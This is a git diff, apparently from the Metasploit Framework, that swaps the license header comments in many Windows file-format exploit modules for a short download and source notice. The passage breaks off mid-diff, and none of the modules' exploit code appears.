@@ -1,8 +1,7 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework # Framework web site for more information on licensing and terms of use. -# http://metasploit.com/framework/ ## require 'msf/core' diff --git a/modules/exploits/windows/fileformat/apple_quicktime_texml.rb b/modules/exploits/windows/fileformat/apple_quicktime_texml.rb index ea9fa151e6..0f436e2ada 100644 --- a/modules/exploits/windows/fileformat/apple_quicktime_texml.rb +++ b/modules/exploits/windows/fileformat/apple_quicktime_texml.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/fileformat/audio_coder_m3u.rb b/modules/exploits/windows/fileformat/audio_coder_m3u.rb index 6d13d73297..365504faf9 100644 --- a/modules/exploits/windows/fileformat/audio_coder_m3u.rb +++ b/modules/exploits/windows/fileformat/audio_coder_m3u.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/fileformat/audio_wkstn_pls.rb b/modules/exploits/windows/fileformat/audio_wkstn_pls.rb index 02ca69e5f1..75b184907c 100644 --- a/modules/exploits/windows/fileformat/audio_wkstn_pls.rb +++ b/modules/exploits/windows/fileformat/audio_wkstn_pls.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/fileformat/audiotran_pls.rb b/modules/exploits/windows/fileformat/audiotran_pls.rb index 7043e4184c..aa774bdc52 100644 --- a/modules/exploits/windows/fileformat/audiotran_pls.rb +++ b/modules/exploits/windows/fileformat/audiotran_pls.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/fileformat/aviosoft_plf_buf.rb b/modules/exploits/windows/fileformat/aviosoft_plf_buf.rb index 6001330d35..50737ae299 100644 --- a/modules/exploits/windows/fileformat/aviosoft_plf_buf.rb +++ b/modules/exploits/windows/fileformat/aviosoft_plf_buf.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/fileformat/bacnet_csv.rb b/modules/exploits/windows/fileformat/bacnet_csv.rb index 0f127a9c3e..26dba6df4b 100644 --- a/modules/exploits/windows/fileformat/bacnet_csv.rb +++ b/modules/exploits/windows/fileformat/bacnet_csv.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/fileformat/blazedvd_hdtv_bof.rb b/modules/exploits/windows/fileformat/blazedvd_hdtv_bof.rb index ff861fc81a..f680c10ed7 100644 --- a/modules/exploits/windows/fileformat/blazedvd_hdtv_bof.rb +++ b/modules/exploits/windows/fileformat/blazedvd_hdtv_bof.rb @@ -1,8 +1,7 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework # Framework web site for more information on licensing and terms of use. -# http://metasploit.com/framework/ ## require 'msf/core' diff --git a/modules/exploits/windows/fileformat/blazedvd_plf.rb b/modules/exploits/windows/fileformat/blazedvd_plf.rb index 5998654314..88a82bd8bc 100644 --- a/modules/exploits/windows/fileformat/blazedvd_plf.rb +++ b/modules/exploits/windows/fileformat/blazedvd_plf.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/fileformat/bsplayer_m3u.rb b/modules/exploits/windows/fileformat/bsplayer_m3u.rb index 8cc2127ab4..e33918c580 100644 --- a/modules/exploits/windows/fileformat/bsplayer_m3u.rb +++ b/modules/exploits/windows/fileformat/bsplayer_m3u.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/fileformat/ca_cab.rb b/modules/exploits/windows/fileformat/ca_cab.rb index dedadbe7cb..5df2381380 100644 --- a/modules/exploits/windows/fileformat/ca_cab.rb +++ b/modules/exploits/windows/fileformat/ca_cab.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/fileformat/cain_abel_4918_rdp.rb b/modules/exploits/windows/fileformat/cain_abel_4918_rdp.rb index d23cade081..77aa07b482 100644 --- a/modules/exploits/windows/fileformat/cain_abel_4918_rdp.rb +++ b/modules/exploits/windows/fileformat/cain_abel_4918_rdp.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/fileformat/ccmplayer_m3u_bof.rb b/modules/exploits/windows/fileformat/ccmplayer_m3u_bof.rb index 093c138703..52c1cdce04 100644 --- a/modules/exploits/windows/fileformat/ccmplayer_m3u_bof.rb +++ b/modules/exploits/windows/fileformat/ccmplayer_m3u_bof.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/fileformat/chasys_draw_ies_bmp_bof.rb b/modules/exploits/windows/fileformat/chasys_draw_ies_bmp_bof.rb index 7e32757e6b..4cafbc87ce 100644 --- a/modules/exploits/windows/fileformat/chasys_draw_ies_bmp_bof.rb +++ b/modules/exploits/windows/fileformat/chasys_draw_ies_bmp_bof.rb @@ -1,8 +1,7 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework # Framework web site for more information on licensing and terms of use. -# http://metasploit.com/framework/ ## require 'msf/core' diff --git a/modules/exploits/windows/fileformat/coolpdf_image_stream_bof.rb b/modules/exploits/windows/fileformat/coolpdf_image_stream_bof.rb index 59385b9b62..7c452099ed 100644 --- a/modules/exploits/windows/fileformat/coolpdf_image_stream_bof.rb +++ b/modules/exploits/windows/fileformat/coolpdf_image_stream_bof.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/fileformat/corelpdf_fusion_bof.rb b/modules/exploits/windows/fileformat/corelpdf_fusion_bof.rb index a0ac42251a..86e0c2a32e 100644 --- a/modules/exploits/windows/fileformat/corelpdf_fusion_bof.rb +++ b/modules/exploits/windows/fileformat/corelpdf_fusion_bof.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/fileformat/csound_getnum_bof.rb b/modules/exploits/windows/fileformat/csound_getnum_bof.rb index 808d62bf05..040a1c3eec 100644 --- a/modules/exploits/windows/fileformat/csound_getnum_bof.rb +++ b/modules/exploits/windows/fileformat/csound_getnum_bof.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/fileformat/cutezip_bof.rb b/modules/exploits/windows/fileformat/cutezip_bof.rb index d9b4f64c96..e5628cd61d 100644 --- a/modules/exploits/windows/fileformat/cutezip_bof.rb +++ b/modules/exploits/windows/fileformat/cutezip_bof.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/fileformat/cyberlink_p2g_bof.rb b/modules/exploits/windows/fileformat/cyberlink_p2g_bof.rb index e70d8afe3d..d18b8032a8 100644 --- a/modules/exploits/windows/fileformat/cyberlink_p2g_bof.rb +++ b/modules/exploits/windows/fileformat/cyberlink_p2g_bof.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/fileformat/cytel_studio_cy3.rb b/modules/exploits/windows/fileformat/cytel_studio_cy3.rb index 7bef4a7c91..94f406d243 100644 --- a/modules/exploits/windows/fileformat/cytel_studio_cy3.rb +++ b/modules/exploits/windows/fileformat/cytel_studio_cy3.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/fileformat/deepburner_path.rb b/modules/exploits/windows/fileformat/deepburner_path.rb index bd1de08d92..fead2d8fe8 100644 --- a/modules/exploits/windows/fileformat/deepburner_path.rb +++ b/modules/exploits/windows/fileformat/deepburner_path.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/fileformat/destinymediaplayer16.rb b/modules/exploits/windows/fileformat/destinymediaplayer16.rb index bd89800d6b..5e17ec77ed 100644 --- a/modules/exploits/windows/fileformat/destinymediaplayer16.rb +++ b/modules/exploits/windows/fileformat/destinymediaplayer16.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/fileformat/digital_music_pad_pls.rb b/modules/exploits/windows/fileformat/digital_music_pad_pls.rb index e578910f73..e0e6e602c1 100644 --- a/modules/exploits/windows/fileformat/digital_music_pad_pls.rb +++ b/modules/exploits/windows/fileformat/digital_music_pad_pls.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/fileformat/djstudio_pls_bof.rb b/modules/exploits/windows/fileformat/djstudio_pls_bof.rb index dd985bd92d..ada2efd161 100644 --- a/modules/exploits/windows/fileformat/djstudio_pls_bof.rb +++ b/modules/exploits/windows/fileformat/djstudio_pls_bof.rb @@ -1,8 +1,7 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework # Framework web site for more information on licensing and terms of use. -# http://metasploit.com/framework/ ## require 'msf/core' diff --git a/modules/exploits/windows/fileformat/djvu_imageurl.rb b/modules/exploits/windows/fileformat/djvu_imageurl.rb index 4322010e8a..937e3d6ec7 100644 --- a/modules/exploits/windows/fileformat/djvu_imageurl.rb +++ b/modules/exploits/windows/fileformat/djvu_imageurl.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/fileformat/dvdx_plf_bof.rb b/modules/exploits/windows/fileformat/dvdx_plf_bof.rb index f92aa3d51b..f10f969f91 100644 --- a/modules/exploits/windows/fileformat/dvdx_plf_bof.rb +++ b/modules/exploits/windows/fileformat/dvdx_plf_bof.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/fileformat/emc_appextender_keyworks.rb b/modules/exploits/windows/fileformat/emc_appextender_keyworks.rb index d3c2a865a7..1591a4d661 100644 --- a/modules/exploits/windows/fileformat/emc_appextender_keyworks.rb +++ b/modules/exploits/windows/fileformat/emc_appextender_keyworks.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/fileformat/erdas_er_viewer_bof.rb b/modules/exploits/windows/fileformat/erdas_er_viewer_bof.rb index bb40380f7e..10412fc5da 100644 --- a/modules/exploits/windows/fileformat/erdas_er_viewer_bof.rb +++ b/modules/exploits/windows/fileformat/erdas_er_viewer_bof.rb @@ -1,8 +1,7 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework # Framework web site for more information on licensing and terms of use. -# http://metasploit.com/framework/ ## require 'msf/core' diff --git a/modules/exploits/windows/fileformat/erdas_er_viewer_rf_report_error.rb b/modules/exploits/windows/fileformat/erdas_er_viewer_rf_report_error.rb index c9267b9749..4e49568d58 100644 --- a/modules/exploits/windows/fileformat/erdas_er_viewer_rf_report_error.rb +++ b/modules/exploits/windows/fileformat/erdas_er_viewer_rf_report_error.rb @@ -1,8 +1,7 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework # Framework web site for more information on licensing and terms of use. -# http://metasploit.com/framework/ ## require 'msf/core' diff --git a/modules/exploits/windows/fileformat/esignal_styletemplate_bof.rb b/modules/exploits/windows/fileformat/esignal_styletemplate_bof.rb index 7a2f0b44c0..1da866b4b3 100644 --- a/modules/exploits/windows/fileformat/esignal_styletemplate_bof.rb +++ b/modules/exploits/windows/fileformat/esignal_styletemplate_bof.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/fileformat/etrust_pestscan.rb b/modules/exploits/windows/fileformat/etrust_pestscan.rb index 214a5b9ebf..db1a44fd58 100644 --- a/modules/exploits/windows/fileformat/etrust_pestscan.rb +++ b/modules/exploits/windows/fileformat/etrust_pestscan.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/fileformat/ezip_wizard_bof.rb b/modules/exploits/windows/fileformat/ezip_wizard_bof.rb index 3ab83d9159..fe6708199e 100644 --- a/modules/exploits/windows/fileformat/ezip_wizard_bof.rb +++ b/modules/exploits/windows/fileformat/ezip_wizard_bof.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/fileformat/fatplayer_wav.rb b/modules/exploits/windows/fileformat/fatplayer_wav.rb index 3621d373bf..1d499c3677 100644 --- a/modules/exploits/windows/fileformat/fatplayer_wav.rb +++ b/modules/exploits/windows/fileformat/fatplayer_wav.rb @@ -1,9 +1,7 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/fileformat/fdm_torrent.rb b/modules/exploits/windows/fileformat/fdm_torrent.rb index 110e11b958..8d06b2552b 100644 --- a/modules/exploits/windows/fileformat/fdm_torrent.rb +++ b/modules/exploits/windows/fileformat/fdm_torrent.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/fileformat/feeddemon_opml.rb b/modules/exploits/windows/fileformat/feeddemon_opml.rb index 0049b7659b..04f3ace038 100644 --- a/modules/exploits/windows/fileformat/feeddemon_opml.rb +++ b/modules/exploits/windows/fileformat/feeddemon_opml.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/fileformat/foxit_reader_filewrite.rb b/modules/exploits/windows/fileformat/foxit_reader_filewrite.rb index 740c73ad62..d70979d493 100644 --- a/modules/exploits/windows/fileformat/foxit_reader_filewrite.rb +++ b/modules/exploits/windows/fileformat/foxit_reader_filewrite.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/fileformat/foxit_reader_launch.rb b/modules/exploits/windows/fileformat/foxit_reader_launch.rb index fb8cc81e8a..8ae23f3f08 100644 --- a/modules/exploits/windows/fileformat/foxit_reader_launch.rb +++ b/modules/exploits/windows/fileformat/foxit_reader_launch.rb @@ -1,8 +1,7 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework # Framework web site for more information on licensing and terms of use. -# http://metasploit.com/framework/ ## require 'msf/core' diff --git a/modules/exploits/windows/fileformat/foxit_title_bof.rb b/modules/exploits/windows/fileformat/foxit_title_bof.rb index 5e156d8c59..0bd6a11457 100644 --- a/modules/exploits/windows/fileformat/foxit_title_bof.rb +++ b/modules/exploits/windows/fileformat/foxit_title_bof.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/fileformat/free_mp3_ripper_wav.rb b/modules/exploits/windows/fileformat/free_mp3_ripper_wav.rb index 820a2f9aa7..4a76d2b1f3 100644 --- a/modules/exploits/windows/fileformat/free_mp3_ripper_wav.rb +++ b/modules/exploits/windows/fileformat/free_mp3_ripper_wav.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/fileformat/galan_fileformat_bof.rb b/modules/exploits/windows/fileformat/galan_fileformat_bof.rb index 2f3264ec2f..db4ad53b8e 100644 --- a/modules/exploits/windows/fileformat/galan_fileformat_bof.rb +++ b/modules/exploits/windows/fileformat/galan_fileformat_bof.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/fileformat/gsm_sim.rb b/modules/exploits/windows/fileformat/gsm_sim.rb index 499f1efeec..56b335e259 100644 --- a/modules/exploits/windows/fileformat/gsm_sim.rb +++ b/modules/exploits/windows/fileformat/gsm_sim.rb @@ -1,8 +1,7 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework # Framework web site for more information on licensing and terms of use. -# http://metasploit.com/framework/ ## require 'msf/core' diff --git a/modules/exploits/windows/fileformat/gta_samp.rb b/modules/exploits/windows/fileformat/gta_samp.rb index eae1db5c93..f6083268af 100644 --- a/modules/exploits/windows/fileformat/gta_samp.rb +++ b/modules/exploits/windows/fileformat/gta_samp.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/fileformat/hhw_hhp_compiledfile_bof.rb b/modules/exploits/windows/fileformat/hhw_hhp_compiledfile_bof.rb index 869b899d7b..15d864f5b3 100644 --- a/modules/exploits/windows/fileformat/hhw_hhp_compiledfile_bof.rb +++ b/modules/exploits/windows/fileformat/hhw_hhp_compiledfile_bof.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/fileformat/hhw_hhp_contentfile_bof.rb b/modules/exploits/windows/fileformat/hhw_hhp_contentfile_bof.rb index d95e14ffb3..581504e7ad 100644 --- a/modules/exploits/windows/fileformat/hhw_hhp_contentfile_bof.rb +++ b/modules/exploits/windows/fileformat/hhw_hhp_contentfile_bof.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/fileformat/hhw_hhp_indexfile_bof.rb b/modules/exploits/windows/fileformat/hhw_hhp_indexfile_bof.rb index d224bea33e..ccb0a8082f 100644 --- a/modules/exploits/windows/fileformat/hhw_hhp_indexfile_bof.rb +++ b/modules/exploits/windows/fileformat/hhw_hhp_indexfile_bof.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/fileformat/ht_mp3player_ht3_bof.rb b/modules/exploits/windows/fileformat/ht_mp3player_ht3_bof.rb index 2a39e16b66..27cd46ed8b 100644 --- a/modules/exploits/windows/fileformat/ht_mp3player_ht3_bof.rb +++ b/modules/exploits/windows/fileformat/ht_mp3player_ht3_bof.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/fileformat/ibm_pcm_ws.rb b/modules/exploits/windows/fileformat/ibm_pcm_ws.rb index b4b56dc6f6..a0f214999a 100644 --- a/modules/exploits/windows/fileformat/ibm_pcm_ws.rb +++ b/modules/exploits/windows/fileformat/ibm_pcm_ws.rb @@ -1,8 +1,7 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework # Framework web site for more information on licensing and terms of use. -# http://metasploit.com/framework/ ## require 'msf/core' diff --git a/modules/exploits/windows/fileformat/ideal_migration_ipj.rb b/modules/exploits/windows/fileformat/ideal_migration_ipj.rb index 630ce1d3a0..6c670bb353 100644 --- a/modules/exploits/windows/fileformat/ideal_migration_ipj.rb +++ b/modules/exploits/windows/fileformat/ideal_migration_ipj.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/fileformat/irfanview_jpeg2000_bof.rb b/modules/exploits/windows/fileformat/irfanview_jpeg2000_bof.rb index 35ce81714b..dda5b781db 100644 --- a/modules/exploits/windows/fileformat/irfanview_jpeg2000_bof.rb +++ b/modules/exploits/windows/fileformat/irfanview_jpeg2000_bof.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/fileformat/ispvm_xcf_ispxcf.rb b/modules/exploits/windows/fileformat/ispvm_xcf_ispxcf.rb index 493c317d97..19a54b78aa 100644 --- a/modules/exploits/windows/fileformat/ispvm_xcf_ispxcf.rb +++ b/modules/exploits/windows/fileformat/ispvm_xcf_ispxcf.rb @@ -1,8 +1,7 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework # Framework web site for more information on licensing and terms of use. -# http://metasploit.com/framework/ ## require 'msf/core' diff --git a/modules/exploits/windows/fileformat/kingview_kingmess_kvl.rb b/modules/exploits/windows/fileformat/kingview_kingmess_kvl.rb index 86a396fed4..3534f1a7f3 100644 --- a/modules/exploits/windows/fileformat/kingview_kingmess_kvl.rb +++ 